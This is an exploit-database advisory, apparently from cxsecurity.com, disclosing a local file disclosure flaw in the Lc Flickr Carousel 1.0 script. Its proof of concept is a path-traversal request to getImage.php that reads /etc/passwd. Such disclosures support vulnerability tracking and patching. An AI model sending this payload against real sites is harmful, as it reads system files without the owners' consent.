Lc Flickr Carousel 1.0 File Disclosure

2012.07.14
Credit: GoLd_M
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-98

# Exploit Title: Lc Flickr Carousel V1.0 => Local File Disclosure Vulnerability # Date: 11/07/2012 # Author: GoLd_M # Vendor or Software Link: http://code.google.com/p/lcflickr/downloads/list # Version: 1.0 # Category:: Local File Disclosure Vulnerability2 # Tested on: Xp SP 2 # Ex : [Lc Flickr Carousel V1.0]/scripts/getImage.php?file=../../../../../../../../../../../../../../etc/passwd # See Test : http://upload.traidnt.net/upfiles/66w29123.jpg

References:

http://code.google.com/p/lcflickr/downloads/list


See this note in RAW Version
Vote for this issue:
50%
50%

Comment it here.
Copyright 2025, cxsecurity.com

 

Back to Top